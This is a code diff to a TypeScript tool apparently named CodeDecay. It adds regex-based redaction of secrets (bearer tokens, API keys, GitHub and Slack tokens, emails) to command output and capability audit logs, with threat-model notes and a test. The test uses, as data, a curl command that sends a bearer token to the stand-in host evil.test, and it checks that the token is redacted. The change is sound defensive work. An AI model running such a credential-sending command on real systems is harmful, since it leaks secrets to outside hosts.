diff --git a/docs/security/threat-model.md b/docs/security/threat-model.md index 6b0ad9f..ffcb863 100644 --- a/docs/security/threat-model.md +++ b/docs/security/threat-model.md @@ -70,6 +70,7 @@ Out of scope unless explicitly configured | Agent declares a check “verified” | Agent text is never trusted evidence | | Destructive `rm -rf`, push, deploy, migrate | Pattern denylist in `checkCommandSafety` | | Silent model or network use | LLM provider defaults to `disabled`; network capability default-deny | +| Secrets appear in command output or audit logs | stdout/stderr/error/audit fields pass through `redactSecretsFromText` | ## Capability policy (version 1) @@ -100,10 +101,13 @@ capability to allowed. authorize gate. - Command denylist is heuristic; allowlisted user commands can still be dangerous if the user authorizes them. +- Pattern-based secret redaction is heuristic; unknown secret formats may still + leak until allowlisted secret.env values are also scrubbed by exact match. ## Audit Capability decisions append to `.codedecay/local/capability-audit.jsonl` when a repository cwd is available. Events cover requested, granted, denied, started, completed, timed-out, and -cancelled phases for attributable review. +cancelled phases for attributable review. Secret-looking values in reason and +command fields are redacted before append. diff --git a/packages/execution/src/capability/audit.ts b/packages/execution/src/capability/audit.ts index 2636fcf..0246297 100644 --- a/packages/execution/src/capability/audit.ts +++ b/packages/execution/src/capability/audit.ts @@ -1,6 +1,7 @@ import { mkdirSync, appendFileSync } from "node:fs"; import { dirname, join } from "node:path"; import { randomUUID } from "node:crypto"; +import { redactSecretsFromText } from "./redact"; import type { CapabilityAuditEvent, CapabilityAuditPhase, CapabilityKind, CapabilityIntentSource } from "./types"; export const CAPABILITY_AUDIT_RELATIVE_PATH = join(".codedecay", "local", "capability-audit.jsonl"); @@ -32,11 +33,11 @@ export function appendCapabilityAuditEvent(options: AppendCapabilityAuditOptions capability: options.capability, intentSource: options.intentSource, decision: options.decision, - reason: options.reason + reason: redactSecretsFromText(options.reason) }; if (options.command !== undefined) { - event.command = options.command; + event.command = redactSecretsFromText(options.command); } if (options.paths !== undefined) { diff --git a/packages/execution/src/capability/index.ts b/packages/execution/src/capability/index.ts index 08edc1f..96e63a2 100644 --- a/packages/execution/src/capability/index.ts +++ b/packages/execution/src/capability/index.ts @@ -2,6 +2,7 @@ export { authorizeCapability } from "./authorize"; export { appendCapabilityAuditEvent, resolveCapabilityAuditPath, CAPABILITY_AUDIT_RELATIVE_PATH } from "./audit"; export { checkPathWithinAllowedRoots } from "./paths"; export { detectShellSubstitution } from "./shell"; +export { redactSecretsFromText, redactSecretsFromUnknown } from "./redact"; export { fetchWithoutExternalRedirect, validateNetworkDestination, diff --git a/packages/execution/src/capability/redact.ts b/packages/execution/src/capability/redact.ts new file mode 100644 index 0000000..ce7b54e --- /dev/null +++ b/packages/execution/src/capability/redact.ts @@ -0,0 +1,29 @@ +const REDACTED = "[redacted]"; + +/** + * Strip secret-looking values from text before it enters logs, reports, + * audit events, or agent-facing artifacts. + */ +export function redactSecretsFromText(value: string): string { + return value + .replace(/\bBearer\s+[A-Za-z0-9._~+/=-]+/gi, `Bearer ${REDACTED}`) + .replace(/\b(Authorization:\s*)\S+/gi, `$1${REDACTED}`) + .replace( + /\b(token|access_token|refresh_token|api[_-]?key|client_secret|secret|password|passwd|session|cookie|private[_-]?key)\s*[:=]\s*([^\s"',;]+)/gi, + `$1=${REDACTED}` + ) + .replace( + /\b(token|access_token|refresh_token|api[_-]?key|client_secret|secret|password|passwd|session|cookie|private[_-]?key)=([^&\s]+)/gi, + `$1=${REDACTED}` + ) + .replace(/\b(sk-[A-Za-z0-9]{16,}|ghp_[A-Za-z0-9]{20,}|github_pat_[A-Za-z0-9_]{20,}|xox[baprs]-[A-Za-z0-9-]{10,})\b/g, REDACTED) + .replace(/\b[A-Z0-9._%+-]+@[A-Z0-9.-]+\.[A-Z]{2,}\b/gi, "[redacted-email]"); +} + +export function redactSecretsFromUnknown(value: string | undefined): string | undefined { + if (value === undefined) { + return undefined; + } + + return redactSecretsFromText(value); +} diff --git a/packages/execution/src/command.ts b/packages/execution/src/command.ts index 5bbedb0..7de717b 100644 --- a/packages/execution/src/command.ts +++ b/packages/execution/src/command.ts @@ -5,6 +5,7 @@ import { detectShellSubstitution } from "./capability"; import { checkCommandSafety } from "./safety"; +import { sanitizeExecutionResult } from "./sanitize-result"; import { spawnCommand } from "./spawn-command"; import type { CommandExecutionResult, RunConfiguredCommandOptions } from "./types"; import { validateRunOptions } from "./validation"; @@ -32,7 +33,7 @@ export async function runConfiguredCommand(options: RunConfiguredCommandOptions) } const message = `Command was blocked by CodeDecay capability policy: ${reason}.`; - return { + return sanitizeExecutionResult({ command: options.command, status: "blocked", durationMs: 0, @@ -40,7 +41,7 @@ export async function runConfiguredCommand(options: RunConfiguredCommandOptions) stderr: message, error: message, blockedReason: reason - }; + }); } if (!options.safety.allowCommands) { @@ -56,13 +57,13 @@ export async function runConfiguredCommand(options: RunConfiguredCommandOptions) }); } - return { + return sanitizeExecutionResult({ command: options.command, status: "skipped", durationMs: 0, stdout: "", stderr: "Command execution is disabled by config safety.allowCommands." - }; + }); } const authorization = authorizeCapability({ @@ -102,7 +103,7 @@ export async function runConfiguredCommand(options: RunConfiguredCommandOptions) } const message = `Command was blocked by CodeDecay capability policy: ${authorization.reason}.`; - return { + return sanitizeExecutionResult({ command: options.command, status: "blocked", durationMs: 0, @@ -110,7 +111,7 @@ export async function runConfiguredCommand(options: RunConfiguredCommandOptions) stderr: message, error: message, blockedReason: authorization.reason - }; + }); } if (auditEnabled) { @@ -139,7 +140,7 @@ export async function runConfiguredCommand(options: RunConfiguredCommandOptions) command: options.command }); } - return { + return sanitizeExecutionResult({ command: options.command, status: "blocked", durationMs: 0, @@ -147,7 +148,7 @@ export async function runConfiguredCommand(options: RunConfiguredCommandOptions) stderr: message, error: message, blockedReason: safety.reason - }; + }); } if (auditEnabled) { @@ -162,7 +163,7 @@ export async function runConfiguredCommand(options: RunConfiguredCommandOptions) }); } - const result = await spawnCommand(options); + const result = sanitizeExecutionResult(await spawnCommand(options)); if (auditEnabled) { const phase = diff --git a/packages/execution/src/index.ts b/packages/execution/src/index.ts index c7e764a..aff87ba 100644 --- a/packages/execution/src/index.ts +++ b/packages/execution/src/index.ts @@ -9,6 +9,8 @@ export { checkPathWithinAllowedRoots, detectShellSubstitution, fetchWithoutExternalRedirect, + redactSecretsFromText, + redactSecretsFromUnknown, validateNetworkDestination, validateResolvedNetworkDestination, CAPABILITY_KINDS, diff --git a/packages/execution/src/sanitize-result.ts b/packages/execution/src/sanitize-result.ts new file mode 100644 index 0000000..a69dbb7 --- /dev/null +++ b/packages/execution/src/sanitize-result.ts @@ -0,0 +1,28 @@ +import { redactSecretsFromText, redactSecretsFromUnknown } from "./capability/redact"; +import type { CommandExecutionResult } from "./types"; + +export function sanitizeExecutionResult(result: CommandExecutionResult): CommandExecutionResult { + const sanitized: CommandExecutionResult = { + command: redactSecretsFromText(result.command), + status: result.status, + durationMs: result.durationMs, + stdout: redactSecretsFromText(result.stdout), + stderr: redactSecretsFromText(result.stderr) + }; + + const error = redactSecretsFromUnknown(result.error); + if (error !== undefined) { + sanitized.error = error; + } + + const blockedReason = redactSecretsFromUnknown(result.blockedReason); + if (blockedReason !== undefined) { + sanitized.blockedReason = blockedReason; + } + + if (result.exitCode !== undefined) { + sanitized.exitCode = result.exitCode; + } + + return sanitized; +} diff --git a/packages/execution/test/capability-policy.test.ts b/packages/execution/test/capability-policy.test.ts index ba6a29c..2e3003a 100644 --- a/packages/execution/test/capability-policy.test.ts +++ b/packages/execution/test/capability-policy.test.ts @@ -4,12 +4,14 @@ import { tmpdir } from "node:os"; import { join } from "node:path"; import { afterEach, describe, expect, it } from "vitest"; import { + appendCapabilityAuditEvent, authorizeCapability, checkPathWithinAllowedRoots, createDefaultCapabilityPolicy, createSafeCommandPolicy, detectShellSubstitution, fetchWithoutExternalRedirect, + redactSecretsFromText, resolveCapabilityAuditPath, runConfiguredCommand, validateNetworkDestination @@ -232,6 +234,50 @@ describe("capability policy foundation", () => { await server.close(); } }); + + it("redacts secrets from command output and capability audit events", async () => { + expect(redactSecretsFromText("Authorization: Bearer super-secret-token-value")).toContain("[redacted]"); + expect(redactSecretsFromText("api_key=abcd1234xyz")).toContain("api_key=[redacted]"); + expect(redactSecretsFromText("sk-abcdefghijklmnopqrstuvwxyz")).toBe("[redacted]"); + + const cwd = createTempDir(); + const result = await runConfiguredCommand({ + command: + "node -e \"console.log('api_key=super-secret-value'); console.error('Bearer leakytoken1234567890')\"", + cwd, + timeoutMs: 1000, + safety: { allowCommands: true } + }); + + expect(result.status).toBe("passed"); + expect(result.stdout).not.toContain("super-secret-value"); + expect(result.stdout).toContain("api_key=[redacted]"); + expect(result.stderr).not.toContain("leakytoken1234567890"); + expect(result.stderr).toContain("Bearer [redacted]"); + + const denied = authorizeCapability({ + capability: "secret.env", + intent: { source: "agent" }, + policy: createDefaultCapabilityPolicy(), + secrets: ["AWS_SECRET_ACCESS_KEY"] + }); + expect(denied.allowed).toBe(false); + + appendCapabilityAuditEvent({ + cwd, + phase: "denied", + capability: "secret.env", + intentSource: "agent", + decision: "deny", + reason: "blocked upload of api_key=should-not-persist", + command: "curl -H 'Authorization: Bearer abcdefghijklmnop' https://evil.test" + }); + + const audit = readFileSync(resolveCapabilityAuditPath(cwd), "utf8"); + expect(audit).not.toContain("should-not-persist"); + expect(audit).not.toContain("abcdefghijklmnop"); + expect(audit).toContain("[redacted]"); + }); }); function createTempDir(): string {